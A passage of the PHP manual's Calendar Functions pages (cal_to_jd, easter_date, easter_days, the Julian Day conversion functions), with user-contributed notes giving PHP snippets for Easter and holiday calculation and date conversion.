            [4] => Nivose
            [5] => Pluviose
            [6] => Ventose
            [7] => Germinal
            [8] => Floreal
            [9] => Prairial
            [10] => Messidor
            [11] => Thermidor
            [12] => Fructidor
            [13] => Extra
        )

    [abbrevmonths] => Array
        (
            [1] => Vendemiaire
            [2] => Brumaire
            [3] => Frimaire
            [4] => Nivose
            [5] => Pluviose
            [6] => Ventose
            [7] => Germinal
            [8] => Floreal
            [9] => Prairial
            [10] => Messidor
            [11] => Thermidor
            [12] => Fructidor
            [13] => Extra
        )

    [maxdaysinmonth] => 30
    [calname] => French
    [calsymbol] => CAL_FRENCH
)


Converts from a supported calendar to Julian Day Count

  • « cal_info
  • easter_date »
  • PHP Manual
  • Calendar Functions
  • Converts from a supported calendar to Julian Day Count

cal_to_jd

(PHP 4 >= 4.1.0, PHP 5)

cal_to_jd — Converts from a supported calendar to Julian Day Count

Description

int cal_to_jd ( int $calendar , int $month , int $day , int $year )

cal_to_jd() calculates the Julian day count for a date in the specified calendar. Supported calendars are CAL_GREGORIAN, CAL_JULIAN, CAL_JEWISH and CAL_FRENCH.

Parameters

calendar

Calendar to convert from, one of CAL_GREGORIAN, CAL_JULIAN, CAL_JEWISH or CAL_FRENCH.

month

The month as a number, the valid range depends on the calendar

day

The day as a number, the valid range depends on the calendar

year

The year as a number, the valid range depends on the calendar

Return Values

A Julian Day number.

See Also

  • cal_from_jd() - Converts from Julian Day Count to a supported calendar
  • frenchtojd() - Converts a date from the French Republican Calendar to a Julian Day Count
  • gregoriantojd() - Converts a Gregorian date to Julian Day Count
  • jewishtojd() - Converts a date in the Jewish Calendar to Julian Day Count
  • juliantojd() - Converts a Julian Calendar date to Julian Day Count
  • unixtojd() - Convert Unix timestamp to Julian Day

User Contributed Notes

There are no user contributed notes for this page.


Get Unix timestamp for midnight on Easter of a given year

  • « cal_to_jd
  • easter_days »
  • PHP Manual
  • Calendar Functions
  • Get Unix timestamp for midnight on Easter of a given year

easter_date

(PHP 4, PHP 5)

easter_date — Get Unix timestamp for midnight on Easter of a given year

Description

int easter_date ([ int $year = date("Y") ] )

Returns the Unix timestamp corresponding to midnight on Easter of the given year.

Warning

This function will generate a warning if the year is outside of the range for Unix timestamps (i.e. before 1970 or after 2037).

The date of Easter Day was defined by the Council of Nicaea in AD325 as the Sunday after the first full moon which falls on or after the Spring Equinox. The Equinox is assumed to always fall on 21st March, so the calculation reduces to determining the date of the full moon and the date of the following Sunday. The algorithm used here was introduced around the year 532 by Dionysius Exiguus. Under the Julian Calendar (for years before 1753) a simple 19-year cycle is used to track the phases of the Moon. Under the Gregorian Calendar (for years after 1753 - devised by Clavius and Lilius, and introduced by Pope Gregory XIII in October 1582, and into Britain and its then colonies in September 1752) two correction factors are added to make the cycle more accurate.

Parameters

year

The year as a number between 1970 an 2037. If omitted, defaults to the current year according to the local time.

Return Values

The easter date as a unix timestamp.

Examples

Example #1 easter_date() example

<?php

echo date("M-d-Y", easter_date(1999));        // Apr-04-1999
echo date("M-d-Y", easter_date(2000));        // Apr-23-2000
echo date("M-d-Y", easter_date(2001));        // Apr-15-2001

?>

Notes

Note:

easter_date() relies on your system's C library time functions, rather than using PHP's internal date and time functions. As a consequence, easter_date() uses the TZ environment variable to determine the time zone it should operate in, rather than using PHP's default time zone, which may result in unexpected behaviour when using this function in conjunction with other date functions in PHP.

As a workaround, you can use the easter_days() with DateTime and DateInterval to calculate the start of Easter in your PHP time zone as follows:

<?php
function get_easter_datetime($year) {
    $base = new DateTime("$year-03-21");
    $days = easter_days($year);

    return $base->add(new DateInterval("P{$days}D"));
}

foreach (range(2012, 2015) as $year) {
    printf("Easter in %d is on %s\n",
           $year,
           get_easter_datetime($year)->format('F j'));
}
?>

The above example will output:

Easter in 2012 is on April 8
Easter in 2013 is on March 31
Easter in 2014 is on April 20
Easter in 2015 is on April 5

See Also

  • easter_days() - Get number of days after March 21 on which Easter falls for a given year for calculating Easter before 1970 or after 2037

User Contributed Notes

adwil at live dot com 11-Apr-2014 12:01
Hey, recently I needed a function to get realization dates in online shop, so here it is (ready to go for polish users, please adjust your dates for any other country):

<?php
function getWorkday($date1,$workDays) {
        $workDays = (int)$workDays;
        if ($workDays <= 0)
            return null;

        $date1=strtotime('-1 day',strtotime($date1));

        $lastYear = null;
        $hol=array('01-01','01-06','05-01','05-03','08-15','11-01','11-11','12-25','12-26');  //array of month-date of static holidays (these are from Poland)
        $i = 0;
        while ($i<=$workDays) {
            $year = date('Y', $date1);
            if ($year !== $lastYear){
                $lastYear = $year;
                $easter = date('m-d', easter_date($year));
                $date = strtotime($year . '-' . $easter); // easter
                $easterSec = date('m-d', strtotime('+1 day', $date)); // easter monday
                $greens = date('m-d', strtotime('+49 days', $date)); // zielone swiatki
                $cc = date('m-d', strtotime('+60 days', $date)); // boze cialo
                $hol[] = $easter;
                $hol[] = $easterSec;
                $hol[] = $greens;
                $hol[] = $cc;
            }
            $weekDay=date('w',$date1);
            if (!($weekDay==0 || $weekDay==6 || in_array(date('m-d',$date1),$hol)))
                $i++;

            $date1=strtotime('+1 day',$date1);
        }
        return date('Y-m-d',$date1);
    }
?>
Guillaume Dufrene 30-Mar-2013 05:13
I found a problem with holidays timestamp computation and daylight saving time.
An article about it at http://goo.gl/76t31 (in french only, sorry).

In summary, this year (2013) easter begins before adding an hour for daylight saving time (occured sunday at 3:00). It means that if you do $easter + X, where x is a number of seconds equivalent to one day, 39 days or 50 days, the result is not equals to a midnight timestamp...

Here a function to check if a midnight timestamp is equals to an holiday :

function isHoliday( $ts ) {
// Licence : Creative Commons (BY)
// By Webpulser - http://goo.gl/76t31
  $fixed_holidays = array( ’01-01′, ’01-05′, ’08-05′, ’14-07′, ’15-08′, ’11-11′, ’25-12′ );
  $format = ‘d-m’;

 $dm = date($format, $ts);
  if ( in_array($dm, $fixed_holidays) ) return true;

 $easter = easter_date( date(‘Y’, $ts) );
  if ( date($format, $easter +   86400) == $dm ) return true;
  if ( date($format, $easter + 3369600) == $dm ) return true;
  if ( date($format, $easter + 4320000) == $dm ) return true;

 return false;
}

feel free to use / modify.
luca at musician dot org 04-May-2012 12:19
Due to range limitations of core functions such as easter_date(), mktime(), strtotime(), I wrote this function to get the Easter Day in string format yyyy-mm-dd.

function myEaster($year)
{
    /*Warning: easter_date(): This function is only valid for years between 1970 and 2037
     * The easter_days() function can be used instead of easter_date() to calculate Easter for years which fall outside the range.
      */
     //The next line would do the work if there were no limitations:
    //return date("Y-m-d",easter_date($year));

    /*Outside range (1970,2037) they advise to use easter_days().
     * Unfortunately, when you have to create a date object as 21-03-yyyy to which add easter_days(), then obtain Easter,
     * functions like strtotime(), DateTime::createFromFormat() will fail. (return value is 01-01-1970)
     */
    $march21=date("$year-03-21");
    $days=easter_days($year);
    if($year<=2037)
    //The next line would do the work if strtotime() wasn't affected by same limitations. But, the if..else is required to handle all years.
        $date = date("Y-m-d",strtotime(date("Y-m-d", strtotime($march21)) . " +$days day"));
    else
    {
        if($days<=10){
            $day=str_pad(21+$days, 2, '0', STR_PAD_LEFT);
            $date=date("$year-03-$day");
        }
        else
        {
            $day=str_pad($days-10, 2, '0', STR_PAD_LEFT);
            $date=date("$year-04-$day");
        }
    }

    return $date;
}
py dot lebecq at gmail dot com 11-Mar-2010 04:44
I recently had to write a function that allows me to know if today is a holiday.

And in France, we have some holidays which depends on the easter date. Maybe this will be helpful to someone.

Just modify in the $holidays array the actual holidays dates of your country.

<?php
/**
 * This function returns an array of timestamp corresponding to french holidays
 */
protected static function getHolidays($year = null)
{
  if ($year === null)
  {
    $year = intval(date('Y'));
  }

  $easterDate  = easter_date($year);
  $easterDay   = date('j', $easterDate);
  $easterMonth = date('n', $easterDate);
  $easterYear   = date('Y', $easterDate);

  $holidays = array(
    // These days have a fixed date
    mktime(0, 0, 0, 1,  1,  $year),  // 1er janvier
    mktime(0, 0, 0, 5,  1,  $year),  // Fête du travail
    mktime(0, 0, 0, 5,  8,  $year),  // Victoire des alliés
    mktime(0, 0, 0, 7,  14, $year),  // Fête nationale
    mktime(0, 0, 0, 8,  15, $year),  // Assomption
    mktime(0, 0, 0, 11, 1,  $year),  // Toussaint
    mktime(0, 0, 0, 11, 11, $year),  // Armistice
    mktime(0, 0, 0, 12, 25, $year),  // Noel

    // These days have a date depending on easter
    mktime(0, 0, 0, $easterMonth, $easterDay + 2,  $easterYear),
    mktime(0, 0, 0, $easterMonth, $easterDay + 40, $easterYear),
    mktime(0, 0, 0, $easterMonth, $easterDay + 50, $easterYear),
  );

  sort($holidays);

  return $holidays;
}
?>
peter dot burden at gmail dot com 29-Jan-2010 01:55
In 5.3.1 easter_date() returns GMT of start of Easter Day in UK allowing
for UK Summer Time. If you are in another time zone you need to
calculate offsets.
<?php
        $e1 = easter_date(2008);
        $e2 = easter_date(2009);
        echo "Timestamps " . $e1 . " " . $e2 . "\n";

        //      Timestamps 1206230400 1239490800

        echo "Days between Easter 2008 Easter 2009 = " . ($e2-$e1)/86400 . "\n";

        //      Days between Easter 2008 Easter 2009 = 384.958333333 - i.e. 384 days 23 hours

        date_default_timezone_set("Europe/London");
        echo date( " l, jS F Y H:i TO",$e1) . "\n";
        echo date( " l, jS F Y H:i TO",$e2) . "\n";

        //      Sunday, 23rd March 2008 00:00 GMT+0000
        //      Sunday, 12th April 2009 00:00 BST+0100

        date_default_timezone_set("America/New_York");
        echo date( " l, jS F Y H:i TO",$e1) . "\n";
        echo date( " l, jS F Y H:i TO",$e2) . "\n";

        //      Saturday, 22nd March 2008 20:00 EDT-0400
        //      Saturday, 11th April 2009 19:00 EDT-0400
        //      Daylight saving time in effect - New York 4 hours behind GMT
?>
maxie 12-Jun-2008 10:36
To compute the correct Easter date for Eastern Orthodox Churches I made a function based on the Meeus Julian algorithm:

<?php
function orthodox_eastern($year) {
    $a = $year % 4;
    $b = $year % 7;
    $c = $year % 19;
    $d = (19 * $c + 15) % 30;
    $e = (2 * $a + 4 * $b - $d + 34) % 7;
    $month = floor(($d + $e + 114) / 31);
    $day = (($d + $e + 114) % 31) + 1;

    $de = mktime(0, 0, 0, $month, $day + 13, $year);

    return $de;
}
?>
nigelf at esp dot co dot uk 28-Jan-2008 12:50
v5.2.1 - There is a known bug with easter_date() that can return incorrect dates for some years:

<?php
// 2008 OK
echo date("D d M Y", easter_date(2008));  // Sun 23 Mar 2008

// 2009 returns Saturday
echo date("D d M Y", easter_date(2009));  // Sat 11 Apr 2009
?>

However easter_days() works correctly:

<?php
echo date("D d M Y", strtotime("2009-03-21 +".easter_days(2009)." days"));  // Sun 12 Apr 2009
?>

It is apparently related to timezone settings.
14-Aug-2006 04:46
I made the function like this ... works fine !

<?php
function ostern
{
    $maerz21=date('z',mktime(0,0,0,3,21,$jb));

    $d=((15 + $jb/100 - $jb/400 - (8 * $jb/100 + 13) / 25)%30 + 19 * ($jb%19))%30;

    if ($d==29)
    {
        $D=28;
    }
    elseif($d==28 && ($jb%17)>=11)
    {
        $D=27;
    }
    else $D=$d;

    $e=(2 * ($jb%4) + 4 *($jb%7) + 6 * $D + (6 + $jb/100 - $jb/400 - 2)%7)%7;

    $ostersonntag=$e+$D+1+$maerz21;
    return $ostersonntag;
}
?>
phpuser 08-Nov-2004 05:17
The algorithm from Bigtree is correct if you add some (int) cast
<?php
   function easter_date ($Year) {

       /*
       G is the Golden Number-1
       H is 23-Epact (modulo 30)
       I is the number of days from 21 March to the Paschal full moon
       J is the weekday for the Paschal full moon (0=Sunday,
         1=Monday, etc.)
       L is the number of days from 21 March to the Sunday on or before
         the Paschal full moon (a number between -6 and 28)
       */

         $G = $Year % 19;
         $C = (int)($Year / 100);
         $H = (int)($C - (int)($C / 4) - (int)((8*$C+13) / 25) + 19*$G + 15) % 30;
         $I = (int)$H - (int)($H / 28)*(1 - (int)($H / 28)*(int)(29 / ($H + 1))*((int)(21 - $G) / 11));
         $J = ($Year + (int)($Year/4) + $I + 2 - $C + (int)($C/4)) % 7;
         $L = $I - $J;
         $m = 3 + (int)(($L + 40) / 44);
         $d = $L + 28 - 31 * ((int)($m / 4));
         $y = $Year;
         $E = mktime(0,0,0, $m, $d, $y);

         return $E;

   }
?>


Get number of days after March 21 on which Easter falls for a given year

  • « easter_date
  • FrenchToJD »
  • PHP Manual
  • Calendar Functions
  • Get number of days after March 21 on which Easter falls for a given year

easter_days

(PHP 4, PHP 5)

easter_days — Get number of days after March 21 on which Easter falls for a given year

Description

int easter_days ([ int $year = date("Y") [, int $method = CAL_EASTER_DEFAULT ]] )

Returns the number of days after March 21 on which Easter falls for a given year. If no year is specified, the current year is assumed.

This function can be used instead of easter_date() to calculate Easter for years which fall outside the range of Unix timestamps (i.e. before 1970 or after 2037).

The date of Easter Day was defined by the Council of Nicaea in AD325 as the Sunday after the first full moon which falls on or after the Spring Equinox. The Equinox is assumed to always fall on 21st March, so the calculation reduces to determining the date of the full moon and the date of the following Sunday. The algorithm used here was introduced around the year 532 by Dionysius Exiguus. Under the Julian Calendar (for years before 1753) a simple 19-year cycle is used to track the phases of the Moon. Under the Gregorian Calendar (for years after 1753 - devised by Clavius and Lilius, and introduced by Pope Gregory XIII in October 1582, and into Britain and its then colonies in September 1752) two correction factors are added to make the cycle more accurate.

Parameters

year

The year as a positive number. If omitted, defaults to the current year according to the local time.

method

Allows Easter dates to be calculated based on the Gregorian calendar during the years 1582 - 1752 when set to CAL_EASTER_ROMAN. See the calendar constants for more valid constants.

Return Values

The number of days after March 21st that the Easter Sunday is in the given year.

Examples

Example #1 easter_days() example

<?php

echo easter_days(1999);        // 14, i.e. April 4
echo easter_days(1492);        // 32, i.e. April 22
echo easter_days(1913);        //  2, i.e. March 23

?>

See Also

  • easter_date() - Get Unix timestamp for midnight on Easter of a given year

User Contributed Notes

ian at eiloart dot com-NOSPAM 19-Nov-2001 08:43
Also, be aware that the eastern orthodox churches sometimes have different dates for easter. See, for example <http://webexhibits.org/calendars/calendar-christian-easter.html>. And note that the dates of easter a subject to change,  for example, the churches might some day decide to unify the dates.
martin at diers dot cc 15-Aug-2001 07:59
This function appears to be Britanno-centric. When attempting to calculate the Gregorian date for Easter for years prior to 1753, the function returns the number or days since March 21st in the Julian Calendar, even though the Gregorian system was in effect in the rest of Europe since 1582. If you wish to calculate the date of easter for a Gregorian date from 1582 onward, use the following function, which duplicates the funcionality of easter_days:

<?php
    function easter_days2($year) {
        #First calculate the date of easter using Delambre's algorithm.
        $a = $year % 19;
        $b = floor($year / 100);
        $c = $year % 100;
        $d = floor($b / 4);
        $e = $b % 4;
        $f = floor(($b + 8) / 25);
        $g = floor(($b - $f + 1) / 3);
        $h = (19 * $a + $b - $d - $g + 15) % 30;
        $i = floor($c / 4);
        $k = $c % 4;
        $l = (32 + 2 * $e + 2 * $i - $h - $k) % 7;
        $m = floor(($a + 11 * $h + 22 * $l) / 451);
        $n = ($h + $l - 7 * $m + 114);
        $month = floor($n / 31);
        $day = $n % 31 + 1;

        #Return the difference between the JulianDayCount for easter and March 21'st
        #of the same year, in order to duplicate the functionality of the easter_days function
        return GregorianToJD($month, $day, $year) - GregorianToJD(3,21,$year);
    }
?>


Converts a date from the French Republican Calendar to a Julian Day Count

  • « easter_days
  • GregorianToJD »
  • PHP Manual
  • Calendar Functions
  • Converts a date from the French Republican Calendar to a Julian Day Count

FrenchToJD

(PHP 4, PHP 5)

FrenchToJD — Converts a date from the French Republican Calendar to a Julian Day Count

Description

int frenchtojd ( int $month , int $day , int $year )

Converts a date from the French Republican Calendar to a Julian Day Count.

These routines only convert dates in years 1 through 14 (Gregorian dates 22 September 1792 through 22 September 1806). This more than covers the period when the calendar was in use.

Parameters

month

The month as a number from 1 (for Vendémiaire) to 13 (for the period of 5-6 days at the end of each year)

day

The day as a number from 1 to 30

year

The year as a number between 1 and 14

Return Values

The julian day for the given french revolution date as an integer.

See Also

  • jdtofrench() - Converts a Julian Day Count to the French Republican Calendar
  • cal_to_jd() - Converts from a supported calendar to Julian Day Count

User Contributed Notes

There are no user contributed notes for this page.


Converts a Gregorian date to Julian Day Count

  • « FrenchToJD
  • JDDayOfWeek »
  • PHP Manual
  • Calendar Functions
  • Converts a Gregorian date to Julian Day Count

GregorianToJD

(PHP 4, PHP 5)

GregorianToJD — Converts a Gregorian date to Julian Day Count

Description

int gregoriantojd ( int $month , int $day , int $year )

Valid Range for Gregorian Calendar 4714 B.C. to 9999 A.D.

Although this function can handle dates all the way back to 4714 B.C., such use may not be meaningful. The Gregorian calendar was not instituted until October 15, 1582 (or October 5, 1582 in the Julian calendar). Some countries did not accept it until much later. For example, Britain converted in 1752, The USSR in 1918 and Greece in 1923. Most European countries used the Julian calendar prior to the Gregorian.

Parameters

month

The month as a number from 1 (for January) to 12 (for December)

day

The day as a number from 1 to 31

year

The year as a number between -4714 and 9999

Return Values

The julian day for the given gregorian date as an integer.

Examples

Example #1 Calendar functions

<?php
$jd = GregorianToJD(10, 11, 1970);
echo "$jd\n";
$gregorian = JDToGregorian($jd);
echo "$gregorian\n";
?>

See Also

  • jdtogregorian() - Converts Julian Day Count to Gregorian date
  • cal_to_jd() - Converts from a supported calendar to Julian Day Count

User Contributed Notes

brian at slaapkop dot net 10-May-2010 04:53
Some people might find it useful to use a function that takes in dates formatted by ISO8601 standards (yyyy-mm-dd):

<?php function daysBetweenDate($from, $till) {
/*
 *This function will calculate the difference between two given dates.
 *
 *Please input time by ISO 8601 standards (yyyy-mm-dd).
 *i.e: daysBetweenDate('2009-01-01', '2010-01-01');
 *This will return 365.
 *
 *Author: brian [at] slaapkop [dot] net
 *May 5th 2010
*/
    if($till < $from) {
        trigger_error("The date till is before the date from", E_USER_NOTICE);
        }

    //Explode date since gregoriantojd() requires mm, dd, yyyy input;
        $from = explode('-', $from);
        $till = explode('-', $till);

    //Calculate date to Julian Day Count with freshly created array $from.
        $from = gregoriantojd($from[1], $from[2], $from[0])."<br />";

    //Calculate date to Julian Day Count with freshly created array $till.
        $till = gregoriantojd($till[1], $till[2], $till[0])."<br />";

    //Substract the days $till (largest number) from $from (smallest number) to get the amount of days
        $days = ($till - $from);

    //Return the number of days.
        return $days;

    //Isn't it sad how my comments use more lines than the actual code?
}
?>
jfg 07-Apr-2009 10:19
If you need the same output as the g_date_get_julian function of the GlibC, here is my php implementation :

<?php
    /**
     * Glib g_date_get_julian PHP implementation
     *
     * @param  $str  Date string in a format accepted by strtotime
     * @author jfg
     */
    private function _get_julian( $str )
    {
        $d = date_create($str);

        if( $d == false )
            return 0;

        $day_in_year = (int) date_format($d, "z");
        $year        = (int) date_format($d, "Y") - 1;
        $julian_days = $year * 365;
        $julian_days += ($year >>= 2);
        $julian_days -= ($year /= 25);
        $julian_days += $year >> 2;
        $julian_days += $day_in_year + 1;

        return ceil($julian_days);
    }

?>
ryker at ridgex dot net 06-Jun-2006 05:27
<?php
/*
* ComputeDateDifference(...)
*   Description:
*     Calculates the difference between two dates.
*
*   Parameter:
*     $m0, $d0, $y0   => 1. Moth/Day/Year
*     $m1, $d1, $y1   => 2. Moth/Day/Year
*
*   Return:
*     Difference between given dates in days.
*
*   Autor:
*     06.06.2006 - Christian Meyer <ryker@ridgex.net>
*/
function ComputeDateDifference($m0,$d0,$y0,$m1,$d1,$y1)
{
  $x0 = gregoriantojd($m0,$d0,$y0);
  $x1 = gregoriantojd($m1,$d1,$y1);

  $diff = $x1 - $x0;

  if ($diff < 0)
    $diff *= -1; // abs

  return $diff;
}
?>
jettyrat at jettyfishing dot com 17-Mar-2005 10:34
You can obtain the decimal fraction of the Julian date with the php gregoriantojd() function or the function shown below by applying this code to the returned value.

<?php
  $julianDate = gregoriantojd($month, $day, $year);

  //correct for half-day offset
  $dayfrac = date('G') / 24 - .5;
  if ($dayfrac < 0) $dayfrac += 1;

  //now set the fraction of a day
  $frac = $dayfrac + (date('i') + date('s') / 60) / 60 / 24;

  $julianDate = $julianDate + $frac;
?>
httpwebwitch 09-Jun-2004 01:04
This function also ignores decimal fractions in JD dates, and it uses non-standard format for returning the Gregorian date.

So, if your JD date is 2453056.28673, the Gregorian returned value is 2/20/2004, not "2004-02-20 23:45:36"

The decimal part is important, since the Julian day begins at noon, for example 2453056.49 is on Friday, 2453056.50 is on Saturday. Discarding the decimal part means that your returned Gregorian Date will be wrong 50% of the time.


Returns the day of the week

  • « GregorianToJD
  • JDMonthName »
  • PHP Manual
  • Calendar Functions
  • Returns the day of the week

JDDayOfWeek

(PHP 4, PHP 5)

JDDayOfWeek — Returns the day of the week

Description

mixed jddayofweek ( int $julianday [, int $mode = CAL_DOW_DAYNO ] )

Returns the day of the week. Can return a string or an integer depending on the mode.

Parameters

julianday

A julian day number as integer

mode
Calendar week modes
Mode | Meaning
0 (Default) | Return the day number as an int (0=Sunday, 1=Monday, etc)
1 | Returns string containing the day of week (English-Gregorian)
2 | Return a string containing the abbreviated day of week (English-Gregorian)

Return Values

The gregorian weekday as either an integer or string.

User Contributed Notes

nrkkalyan at rediffmail dot com 26-Feb-2005 07:08
You can get todays day time and date using this code

<?php
echo date("d")." ";
echo date("m")." ";
echo date("Y")." ";
echo date("h:i:s A");

ECHO ' <br/>';
echo jddayofweek ( cal_to_jd(CAL_GREGORIAN, date("m"),date("d"), date("Y")) , 1 );
?>
php at xtramicro dot com 07-Sep-2004 05:28
Be aware that date() and mktime() only work as long as you move within the UNIX era (1970 - 2038 / 0x0 - 0x7FFFFFFF in seconds). Outside that era those functions are only generating errors.

In other words: mktime(0, 0, 0, 12, 31, 1969) *DOES NOT* work (and so doesn't date() fed with with mktime()'s result from above). But cal_to_jd(CAL_GREGORIAN, 12, 11, 1969) *DOES WORK*.

And please note that the calendar-extension's functions arguments follow the US date order: month - day - year.


Returns a month name

  • « JDDayOfWeek
  • JDToFrench »
  • PHP Manual
  • Calendar Functions
  • Returns a month name

JDMonthName

(PHP 4, PHP 5)

JDMonthName — Returns a month name

Description

string jdmonthname ( int $julianday , int $mode )

Returns a string containing a month name. mode tells this function which calendar to convert the Julian Day Count to, and what type of month names are to be returned.

Calendar modes
Mode | Meaning | Values
0 | Gregorian - abbreviated | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
1 | Gregorian | January, February, March, April, May, June, July, August, September, October, November, December
2 | Julian - abbreviated | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
3 | Julian | January, February, March, April, May, June, July, August, September, October, November, December
4 | Jewish | Tishri, Heshvan, Kislev, Tevet, Shevat, AdarI, AdarII, Nisan, Iyyar, Sivan, Tammuz, Av, Elul
5 | French Republican | Vendemiaire, Brumaire, Frimaire, Nivose, Pluviose, Ventose, Germinal, Floreal, Prairial, Messidor, Thermidor, Fructidor, Extra

Parameters

jday

The Julian Day to operate on

calendar

The calendar to take the month name from

Return Values

The month name for the given Julian Day and calendar.

User Contributed Notes

marc at linkitdesign dot com 15-Jun-2013 10:58
Regarding the jewish date system. It may be worth noting the following peculiarities, some obvious some not so.
1. Jewish days start at sunset NOT midnight so when converting from a Gregorian date to a Jewish one it might be worth asking if the date/time occurred 'after sunset'.
2. Jewish leap years follow a 19 year cycle which can be calculated like this:
function isJLeapYear($JYear) {
    if ( ((7 * $JYear + 1) % 19) < 7 )
        return true;
    else
        return false;
}
3. During a leap year a new leap-month called "Adar I" is inserted BEFORE the normal month of Adar.
4. During leap years, Adar is renamed "Adar II".
5. Adar/Adar II has 29 days
6. Adar I has 30 days
7. Cheshvan & Kislev have between 29 & 30 Days
8. Leap years have between 383 and 385 days.
8. non-leap years have between 353 and 355 days.
9 . In a 354-day year, months have alternating 30 and 29 day lengths.
10. In a 353-day year, the month of Kislev is reduced to 29 days.
11. In a 355-day year, the month of Cheshvan is increased to 30 days.
12. Leap years years follow the same pattern, with the addition of the 30-day Adar I as well.
doug at exploittheweb dot com 10-Jul-2012 06:16
<?php

/* Simplest way to get current abbreviated month name */

echo date('M');

?>
viju dot kantah at gmail dot com 21-Nov-2011 07:34
<?php

/* Simple way to get current month name */

$mons = array(1 => "Jan", 2 => "Feb", 3 => "Mar", 4 => "Apr", 5 => "May", 6 => "Jun", 7 => "Jul", 8 => "Aug", 9 => "Sep", 10 => "Oct", 11 => "Nov", 12 => "Dec");

$date = getdate();
$month = $date['mon'];

$month_name = $mons[$month];

echo $month_name; // Displays the current month

?>
asphp at dsgml dot com 17-Apr-2011 11:58
Use this function if you prefer to use the standard calendar constants:

<?php
function jdmonthname2($julianday, $calendar, $abbrev = false) {
  if($calendar == CAL_GREGORIAN && $abbrev) $mode = 0;
  elseif($calendar == CAL_GREGORIAN && !$abbrev) $mode = 1;
  elseif($calendar == CAL_JULIAN && $abbrev) $mode = 2;
  elseif($calendar == CAL_JULIAN && !$abbrev) $mode = 3;
  elseif($calendar == CAL_JEWISH) $mode = 4;
  elseif($calendar == CAL_FRENCH) $mode = 5;
  else $mode = 10; //use an invalid mode and let the underlying function handle it

  return jdmonthname($julianday, $mode);
}
?>


Converts a Julian Day Count to the French Republican Calendar

  • Â« JDMonthName
  • JDToGregorian Â»
  • PHP Manual
  • Calendar Functions
  • Converts a Julian Day Count to the French Republican Calendar

JDToFrench

(PHP 4, PHP 5)

JDToFrench — Converts a Julian Day Count to the French Republican Calendar

Description

string jdtofrench ( int $juliandaycount )

Converts a Julian Day Count to the French Republican Calendar.

Parameters

julianday

A julian day number as integer

Return Values

The french revolution date as a string in the form "month/day/year"

See Also

  • frenchtojd() - Converts a date from the French Republican Calendar to a Julian Day Count
  • cal_from_jd() - Converts from Julian Day Count to a supported calendar

User Contributed Notes

pieterc dot depraetere at ugent dot be 10-Mar-2010 11:04
If you want to convert a date later than September 22nd 1806, you could use this function. It's a bit crude and due to the fact the original function terminates in the middle of 1806, it uses 1805 as it's 'terminus post quem'.
<?php
function extended_jdtofrench ($juliandate) {
    if ($juliandate > 2380945) {
        // jdtofrench () only accepts dates until september 1806
        $gregorian_date = jdtogregorian ($juliandate);
        $temp = explode ('/', $gregorian_date);
        $year = $temp[2];
        $juliandate = gregoriantojd ($temp[0], $temp[1], 1805);
        $republican_date = jdtofrench ($juliandate);
        $republican_date = explode ('/', $republican_date);
        $diff = $year - 1805;
        $republican_date[2] = $republican_date[2] + $diff;
    } else {
        $republican_date = jdtofrench ($juliandate);
    }
    return $republican_date;
}
?>
squenz at titania dot bottoms-dream dot de 06-Apr-2006 05:25
Here is a small piece of code to obtain the string data for a correctly converted gregorian date:

<?php
$arDateFrench = gregorian2FrenchDateArray(11, 9, 1799) ;

echo $arDateFrench[1] . " " . $arDateFrench[0] . " " . $arDateFrench[2] ;

/* the output will be:
    18 Brumaire VIII

*/

function gregorian2FrenchDateArray($m, $d, $y)
{

    $julian_date = gregoriantojd($m, $d, $y);
    $french = jdtofrench($julian_date);
    if($french == "0/0/0")
        return "" ;

    $arD = split("/", $french) ;

    // get the month name
    $monthname = FrenchMonthNames($arD[0]) ;

    /* convert the year number to roman digits (as most historians do and documents of the time did */
    $stryear = decrom($arD[2]) ;
    return array($monthname, $arD[1], $stryear ) ;
}

function FrenchMonthNames($mo)
{
    /* The names have been invented by Fabre d'Ã‰glantine, a second or rather third rank poet
of primarily pastoral poems, with each name referring to the respective period in the agricultural year; e.g. "VendÃ©miaire" (approx. September) is derived from "vendange" ("harvest"), "Brumaire" (Ocotober/November) from "brume" ("fog") and so on ...     */

    $arMo = array("VendÃ©miaire",
                      "Brumaire",
                      "Frimaire",
                      "NivÃ´se",
                      "PluviÃ´se",
                      "VentÃ´se",
                      "Germinal",
                      "FlorÃ©al",
                      "Prairial",
                      "Messidor",
                      "Thermidor",
                      "Fructidor",
                      "Sansculottide") ;

    if($mo < count($arMo)+1)
        return $arMo[$mo-1] ;

}

function decrom($dec){
       $digits=array(
           1 => "I",
           4 => "IV",
           5 => "V",
           9 => "IX",
           10 => "X",
           40 => "XL",
           50 => "L",
           90 => "XC",
           100 => "C",
           400 => "CD",
           500 => "D",
           900 => "CM",
           1000 => "M"
       );
       krsort($digits);
       $retval="";
       foreach($digits as $key => $value){
           while($dec>=$key){
               $dec-=$key;
               $retval.=$value;
           }
       }
       return $retval;
}
?>
serged at noos dot fr 28-Oct-2003 06:00
Very limited function:

(extract from source of 4.3.3)
These routines only convert dates in years 1 through 14 (Gregorian dates 22 September 1792 through 22 September 1806).  This more than  covers the period when the calendar was in use.

Pour les français :
Ces routines ne converitssent les dates que de l'an 1 à 14 (du 22 septembre 1792 au 22 septembre 1806). Cela couvre plus que la période pendant laquelle le calendrier à été utilisé.


Converts Julian Day Count to Gregorian date

  • « JDToFrench
  • jdtojewish »
  • PHP Manual
  • Calendar Functions
  • Converts Julian Day Count to Gregorian date

JDToGregorian

(PHP 4, PHP 5)

JDToGregorian — Converts Julian Day Count to Gregorian date

Description

string jdtogregorian ( int $julianday )

Converts Julian Day Count to a string containing the Gregorian date in the format of "month/day/year".

Parameters

julianday

A julian day number as integer

Return Values

The gregorian date as a string in the form "month/day/year"

See Also

  • gregoriantojd() - Converts a Gregorian date to Julian Day Count
  • cal_from_jd() - Converts from Julian Day Count to a supported calendar

User Contributed Notes

swiles at ddbc dot edu dot tw 26-Jan-2009 06:34
The php gregoriantojd() and jdtogregorian() functions, in addition to the limitations noted by httpwebwitch, does not take account of the 'Astronomical' system of reckoning - i.e. using a year zero, instead of going directly from 1BCE to 1CE, as with the Christian Anno Domini system.

These functions can be used to wrap the php built-ins to return ISO 8601 compliant dates:

<?php
function ISO8601toJD($ceDate) {
    list($day, $month, $year) = array_map('strrev',explode('-', strrev($ceDate), 3));
    if ($year <= 0) $year--;
    return gregoriantojd($month, $day, $year);
}

function JDtoISO8601($JD) {
    if ($JD <= 1721425) $JD += 365;
    list($month, $day, $year) = explode('/', jdtogregorian($JD));
    return sprintf('%+05d-%02d-%02d', $year, $month, $day);
